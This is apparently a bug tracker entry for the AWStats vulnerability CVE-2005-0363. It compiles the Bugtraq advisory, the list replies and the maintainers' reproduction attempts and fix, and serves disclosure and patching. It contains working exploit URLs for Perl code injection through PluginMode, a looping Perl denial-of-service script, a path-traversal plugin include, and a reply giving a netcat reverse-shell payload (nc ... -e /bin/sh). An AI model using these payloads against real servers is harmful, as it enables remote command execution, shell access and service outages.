Bug 65792 (CVE-2005-0363)

<!-- SBZ_reproduce  -->
.

AWStats <= 6.4 Multiple vulnerabilities 
 
 
Von:  
GHC@www.securityfocus.com, 
"[ru]@securityfocus.com@www.securityfocus.com" <foster@ghc.ru> 
 
 
An:  
bugtraq@securityfocus.com 
 
 
Datum:  
Gestern 09:10:40 
 
 
/*==========================================*/ 
// GHC -> AWStats <- ADVISORY 
\\ PRODUCT: AWStats       
// VERSION: <= 6.3 
\\ URL: http://awstats.sourceforge.net/ 
// VULNERABILITY CLASS: Multiple vulnerabilities 
\\ RISK: high 
/*==========================================*/ 
 
[Product Description] 
"AWStats is a free powerful tool that generates advanced web, ftp or mail 
server statistics, graphically.  
This log analyzer works as a CGI or from command line and shows you all 
possible information your log contains,  
in few graphical web pages".  
Current stable version: AWStats 6.3 final   
Development version is 6.4 - 2005-02-06 14:31 
 
[Summary] 
Successful exploitation of an input validation vulnerability in AWStats scripts 
allows attackers to execute limited perl directives under the privileges of 
the web server, get sensetive information.  
Some actions of the attacker can lead to denial of service. 
 
[Details] 
Some AWStats's functions can be extended with plugins. 
Two variables (loadplugin & pluginmode) are dealing with it.  
The first one (loadplugin) is responsible for plugins list (plugin1, plugin2); 
the second one 
runs plugin's functions.  
 
Exploitable example (raw log plugin): 
http://server/cgi-bin/awstats-6.4/awstats.pl?pluginmode=rawlog&loadplugin=rawlog   
 
Server answer: 
192.*.*.* - - [26/Jan/2005:11:01:41 +0300] "GET /cgi-bin/index.cgi 
HTTP/1.1" 500 606 
192.*.*.* - - [26/Jan/2005:11:03:54 +0300] "GET /cgi-bin/index.cgi 
HTTP/1.1" 500 606 
192.*.*.* - - [26/Jan/2005:11:07:54 +0300] 
"GET /themes/standard/style.css HTTP/1.1" 200 2986 
192.*.*.* - - [26/Jan/2005:11:07:54 +0300] "GET /cgi-bin/index.cgi 
HTTP/1.1" 200 7710 
192.*.*.* - - [26/Jan/2005:11:07:54 +0300] 
"GET /themes/standard/images/logo.gif HTTP/1.1" 200 14443 
192.*.*.* - - [26/Jan/2005:11:07:54 +0300] "GET /images/xml.gif HTTP/1.1" 
200 429 
192.*.*.* - - [26/Jan/2005:11:07:54 +0300] "GET /images/pb_yawps.gif 
HTTP/1.1" 200 2532 
192.*.*.* - - [26/Jan/2005:11:07:54 +0300] 
"GET /themes/standard/images/valid-html401.gif HTTP/1.1" 200 2250 
192.*.*.* - - [26/Jan/2005:11:07:54 +0300] 
"GET /themes/standard/images/vcss.gif HTTP/1.1" 200 1547 
192.*.*.* - - [26/Jan/2005:11:08:06 +0300] "GET /cgi-bin/forum.cgi 
HTTP/1.1" 200 7333 
192.*.*.* - - [26/Jan/2005:11:08:11 +0300] "GET /cgi-bin/links.cgi 
HTTP/1.1" 200 7588 
192.*.*.* - - [26/Jan/2005:11:08:12 +0300] "GET /cgi-bin/top10.cgi 
HTTP/1.1" 200 7910 
192.*.*.* - - [26/Jan/2005:11:08:17 +0300] "GET /cgi-bin/admin.cgi 
HTTP/1.1" 200 7340 
192.*.*.* - - [26/Jan/2005:11:08:33 +0300] "GET /yawpsnews.xml 
HTTP/1.1" 200 153     
 
The dangerous fact is that attacker can read sensitive information such as 
IP address, admin scripts names, non encoded GET queries, etc.  
 
Our variables pass some verification (as others), but it is not enough for 
security: 
 
sub Sanitize { 
 my $stringtoclean=shift; 
 $stringtoclean =~ s/[^\w_\-\\\/\.:\s]//g; 
 return $stringtoclean; 
} 
 
Deletes everything but '_', '-', '\', '/', '.', ':' and any blank symbol.  
It's enough for variables with path to configuration files, but not for plugin 
tasks. 
In case of "loadplugin" & "pluginmode" developers obviously have a lot of 
trust to the user. 
 
So, let's see what can be done, in fact. 
 
[1] Perl code execution. 
http://server/cgi-bin/awstats-6.4/awstats.pl?&PluginMode=:print+getpwent 
 
we'll get the action in next piece of code: 
 
# AWStats output is replaced by a plugin output 
if ($PluginMode) { 
 my $function="BuildFullHTMLOutput_$PluginMode()"; 
 eval("$function"); 
 if ($? || $@) { error("$@"); } 
 &html_end(0); 
 exit 0; 
} 
 
If variable exists, we'll get code execution. This happens after sanitizing 
(see privious). 
Here we have intresting part in: 
     my $function="BuildFullHTMLOutput_$PluginMode()"; 
     eval("$function"); 
 
This is subroutine call (As example sub BuildFullHTMLOutput_rawlog() from 
rawlog.pm plugin). 
Ideal case: "module name"::BuildFullHTMLOutput_"function name"(). 
But if we won't specify the name of module (with "loadplugin" parameter) 
we'll get the next: 
 
main::BuildFullHTMLOutput_"function name"(). 
 
By the way, there is permited symbol ':' in user input parameters. So, we 
can send: 
 
PluginMode=:print+getpwent 
 
And the $function becomes 'BuildFullHTMLOutput_:print getpwent()'. 
This will satisfy eval() requirements., and :print getpwent() is executed. 
 
http://www.lan.server/cgi-bin/awstats-6.4/awstats.pl?&PluginMode=:print+getpwent 
 
Sanitazing limits user's input, but there is no filtration for call sympols '()'. 
Here we can see that somebody can perform DoS attack.  
This is example of simple code for successful DoS exploitation: 
 
#!/usr/bin/perl 
 
use IO::Socket; 
$server = 'www.example.com'; 
sub ConnectServer { 
 $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", 
PeerPort => "80") 
 || die "Error\n"; 
 print $socket 
"GET /cgi-bin/awstats-6.4/awstats.pl?&hack=$rp&PluginMode=:sleep 
HTTP/1.1\n"; 
 print $socket "Host: $server\n"; 
 print $socket "Accept: */*\n"; 
 print $socket "\n\n"; 
} 
 
while () { 
 $rp = rand; 
 &ConnectServer; 
} 
 
[BUGFIX] 
Change vulnerable code for: 
  
sub PluginSanitize { 
 my $stringtoclean=shift; 
 $stringtoclean =~ s/[^\w]//g; 
 return $stringtoclean; 
} 
 
 
[2] Arbitrary plugin including. 
http://server/cgi-bin/awstats-6.4/awstats.pl?&loadplugin=../../../../usr/libdata/perl/5.00503/blib 
 
Arbitrary module from user's input through "loadplugin" parameter can be 
included with  "require" function.. 
 
Bugfix - as above or something like this: 
 
opendir (PDIR, './plugins'); 
@FilesPDIR = readdir(PDIR); 
closedir (PDIR); 
foreach $FilesPName (@FilesPDIR) { 
 if ($FilesPName =~ m/$loadplugin/) { 
 } 
} 
 
The good thing is the poison null-byte (%00) has no place (transferes to 
00). 
 
[3] Sensetive information leak in AWStats version 6.3(Stable) - 6.4
(Development). 
Every user can access debug function: 
http://server/cgi-bin/awstats-6.4/awstats.pl?debug=1 
http://server/cgi-bin/awstats-6.4/awstats.pl?debug=2 
                                                                  
 
[DISCLOSURE TIMELINE] 
 
10-02-2005  Initial vendor notification. 
14-02-2005  No response. 
14-02-2005  Bug-traq post.              
 
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Re: AWStats <= 6.4 Multiple vulnerabilities 
 
 
Von:  
Ondra Holecek <bln@deprese.net> 
 
 
An:  
GHC@www.securityfocus.com, 
"[ru]@securityfocus.com@www.securityfocus.com" <foster@ghc.ru> 
 
 
Kopie:  
bugtraq@securityfocus.com 
 
 
Datum:  
Gestern 16:24:41 
 
 
 
Die Nachricht wurde signiert auf 01.01.1970 00:59 mit dem unbekannten 
Schlüssel 0x3D7C4EA9. 
Die Gültigkeit der Signatur kann nicht überprüft werden. 
 
 
GHC@www.securityfocus.com wrote: 
| 
| /*==========================================*/ 
| // GHC -> AWStats <- ADVISORY 
| \\ PRODUCT: AWStats 
| // VERSION: <= 6.3 
| \\ URL: http://awstats.sourceforge.net/ 
| // VULNERABILITY CLASS: Multiple vulnerabilities 
| \\ RISK: high 
| /*==========================================*/ 
 
[...] 
 
| 
| PluginMode=:print+getpwent 
| 
| And the $function becomes 'BuildFullHTMLOutput_:print getpwent()'. 
| This will satisfy eval() requirements., and :print getpwent() is executed. 
| 
| 
http://www.lan.server/cgi-bin/awstats-6.4/awstats.pl?&PluginMode=:print+getpwent 
| 
| Sanitazing limits user's input, but there is no filtration for call 
sympols '()'. 
 
no, user is not limited, he can execute ANY command if he add ; at the 
end of the command, try this 
 
awstats.pl?&PluginMode=:print+system('id')+; 
 
or even this 
 
awstats.pl?&PluginMode=:print+system('nc+172.16.1.2+3000+-e+/bin/sh')+; 
 
 
Ondra 

Re: AWStats <= 6.4 Multiple vulnerabilities - can't reproduce in 6.3? 
 
 
Von:  
Jamie Pratt <jpratt@norwich.edu>  (Norwich University) 
 
 
An:  
Ondra Holecek <bln@deprese.net> 
 
 
Kopie:  
bugtraq@securityfocus.com 
 
 
Datum:  
Gestern 20:25:43 
 
 
So what are the conditions of this bug/vuln?  I can't reproduce this on  
several 6.3 installs..: 
 
awstats 6.3 from source: 
 
request: 
 
http://www.site.org/awstats/cgi-bin/awstats.pl?&PluginMode=:print+system('id')+; 
 
output: 
**************** 
Error: Can't locate object method "BuildFullHTMLOutput_print" via  
package "systemid" (perhaps you forgot to load "systemid"?) at (eval 1)  
line 1. 
 
Setup ('/etc/awstats/awstats.www.site.org.conf' file, web server or  
permissions) may be wrong. 
Check config file, permissions and AWStats documentation (in 'docs'  
directory). 
*************** 
 
regards, 
jamie 
 
Ondra Holecek wrote: 
>  
>  
> GHC@www.securityfocus.com wrote: 
> | 
> | /*==========================================*/ 
> | // GHC -> AWStats <- ADVISORY 
> | \\ PRODUCT: AWStats 
> | // VERSION: <= 6.3 
> | \\ URL: http://awstats.sourceforge.net/ 
> | // VULNERABILITY CLASS: Multiple vulnerabilities 
> | \\ RISK: high 
> | /*==========================================*/ 
>  
> [...] 
>  
> | 
> | PluginMode=:print+getpwent 
> | 
> | And the $function becomes 'BuildFullHTMLOutput_:print getpwent()'. 
> | This will satisfy eval() requirements., and :print getpwent() is  
> executed. 
> | 
> | 
> 
http://www.lan.server/cgi-bin/awstats-6.4/awstats.pl?&PluginMode=:print+getpwent  
>  
> | 
> | Sanitazing limits user's input, but there is no filtration for call 
> sympols '()'. 
>  
> no, user is not limited, he can execute ANY command if he add ; at the 
> end of the command, try this 
>  
> awstats.pl?&PluginMode=:print+system('id')+; 
>  
> or even this 
>  
> 
awstats.pl?&PluginMode=:print+system('nc+172.16.1.2+3000+-e+/bin/sh')+; 
>  
>  
> Ondra 
 
--  
 
James Pratt 
Unix Systems Administrator 
Norwich University 
http://www.norwich.edu/it 
<jpratt@norwich.edu> | ph. (802)485-2532 

Re: AWStats <= 6.4 Multiple vulnerabilities - can't reproduce in 6.3? 
 
 
Von:  
Ondra Holecek <bln@deprese.net> 
 
 
An:  
jpratt@norwich.edu 
 
 
Kopie:  
bugtraq@securityfocus.com 
 
 
Datum:  
Gestern 20:52:08 
 
 
 
Die Nachricht wurde signiert auf 01.01.1970 00:59 mit dem unbekannten 
Schlüssel 0x3D7C4EA9. 
Die Gültigkeit der Signatur kann nicht überprüft werden. 
 
 
It seems this bug works only on my server, i dont know why 
 
/awstats.pl?&PluginMode=:print+system('id')+; 
 
reply: 
 
uid=99(nobody) gid=4294967295 groups=4294967295,98(nobody) 256 
Error: 
 
Setup ('/usr/local/etc/awstats/awstats.conf' file, web server or 
permissions) may be wrong. 
Check config file, permissions and AWStats documentation (in 'docs' 
directory). 
 
 
awstats: Advanced Web Statistics 6.1 (build 1.751)  (original) 
perl: This is perl, v5.8.5 built for i586-linux 
os: Linux xxx.tld 2.4.22 #4 Wed Jul 7 21:07:03 CEST 2004 i586 unknown 
unknown GNU/Linux 
 
Ondra 
 

There are some more report about this bugs working and not. 
 
Please have a look at www.securityfocus.com and search the BUGTRAQ 
list for this topic. 

I will try to exploit our awstats - but can't give you an ETA yet.

I am on vaction Thursday and Friday.

PING 

It seems as it doen't work in our version 6.3. Even so I made it a bit more
unsecure by enabling "update from browser".

http://armstrong.suse.de/cgi-bin/awstats.pl?&PluginMode=:print+system('id')+;


Error: Can't locate object method "BuildFullHTMLOutput_print" via package
"systemid" (perhaps you forgot to load "systemid"?) at (eval 4) line 1.

Setup ('/etc/awstats/awstats.conf' file, web server or permissions) may be wrong.
Check config file, permissions and AWStats documentation (in 'docs' directory). 


Please advice how to go on.

this was fixed by our last update. 
 
+  $stringtoclean =~ s/[^\w_\-\\\/\.\s]//g; 
 
filters out the : and ; ... it leaves some dangerous characters still, 
but I have not found a way to escape my way to execute something. 
 
considering fixed for now. 

CVE-2005-0363: CVSS v2 Base Score: 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)